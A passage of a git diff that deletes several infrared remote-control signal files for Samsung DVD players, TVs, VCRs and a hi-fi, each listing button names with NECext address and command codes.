NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: KEY_1_slow- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: KEY_3_slow+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: KEY_4_shuttle- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: KEY_6_shuttle+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: KEY_7_V_LOCK- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: KEY_9_V_LOCK+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: KEY_0_frame_advance -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: clear_reset -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 20 00 00 00 -# -name: auto_track -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 21 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 22 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 24 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 29 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2B 00 00 00 -# -name: trk_up -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: trk_down -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: dub -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2F 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 30 00 00 00 -# -name: speed -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 5C 00 00 00 -# -name: ipc -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 75 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir deleted file mode 100644 index beeca9c08..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DIGEST -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 00 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 01 00 00 00 -# -name: STANDBY/ON -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 13 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 17 00 00 00 -# -name: FB/PREV -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: FF/NEXT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: DISC_MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 22 00 00 00 -# -name: KEY_3D_SOUND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 26 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 28 00 00 00 -# -name: MARK -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: CLOCK/COUNTER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 31 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 32 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3D 00 00 00 -# -name: TRK_DOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 40 00 00 00 -# -name: SETUP/ENTER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 43 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 54 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 55 00 00 00 -# -name: INPUT_SEL -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 59 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 60 00 00 00 -# -name: TRK_UP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 63 00 00 00 -# -name: MODE/REPEAT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 66 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir deleted file mode 100644 index 0ba653172..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MTS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 00 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: PrevChannel -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: SURF -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir deleted file mode 100644 index 866c01628..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: SLOW+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 13 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: P/S -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 16 00 00 00 -# -name: SLOW- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 17 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1C 00 00 00 -# -name: CLR/RST -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 20 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 23 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 24 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2B 00 00 00 -# -name: FINE+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: FINE- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: A.DUB -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2E 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 31 00 00 00 -# -name: CLK/COUNT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 33 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 35 00 00 00 -# -name: SP-LP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: Q-PRO -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3D 00 00 00 -# -name: SHUTTLE- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7D 00 00 00 -# -name: SHUTTLE+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir deleted file mode 100644 index 1583b0f1a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: SLOW+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 13 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 16 00 00 00 -# -name: SLOW- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 17 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: F.FW -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1C 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: D.TRK -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 21 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 23 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 24 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 25 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2B 00 00 00 -# -name: FINE- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: FINE+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 31 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 33 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 35 00 00 00 -# -name: VPS -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 38 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: Q.PRO -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3D 00 00 00 -# -name: AFT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 74 00 00 00 -# -name: SHUTTLE- -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7D 00 00 00 -# -name: SHUTTLE+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir deleted file mode 100644 index eda92a7f9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: A-RPlay -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 00 00 00 00 -# -name: A-Play -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 01 00 00 00 -# -name: A-FFwd -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 02 00 00 00 -# -name: A-Rew -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 03 00 00 00 -# -name: A-Stop -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 04 00 00 00 -# -name: B-RPlay -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 05 00 00 00 -# -name: B-Play -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 06 00 00 00 -# -name: B-FFwd -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 07 00 00 00 -# -name: TuneUp -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 08 00 00 00 -# -name: TuneDown -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 09 00 00 00 -# -name: CD-Stop -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0A 00 00 00 -# -name: B-Rew -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0B 00 00 00 -# -name: CD-FFwd -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0C 00 00 00 -# -name: CD-Rew -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0F 00 00 00 -# -name: CD-Play -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 10 00 00 00 -# -name: B-Stop -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 11 00 00 00 -# -name: B-RRec -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 12 00 00 00 -# -name: B-FRec -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 13 00 00 00 -# -name: B-RecMute -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 14 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 15 00 00 00 -# -name: PresetUp -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 17 00 00 00 -# -name: Band -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 19 00 00 00 -# -name: PresetDown -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1A 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1B 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1C 00 00 00 -# -name: Phono -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1D 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1E 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir deleted file mode 100644 index 574872a6e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tvvideo -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: PRE-CH -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: center -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: P.STD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 28 00 00 00 -# -name: CH.SCAN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 31 00 00 00 -# -name: SURF -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir deleted file mode 100644 index 43b98f0a9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: Colour -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: P.size -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: TTX/MIX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: CH/P+ -type: parsed 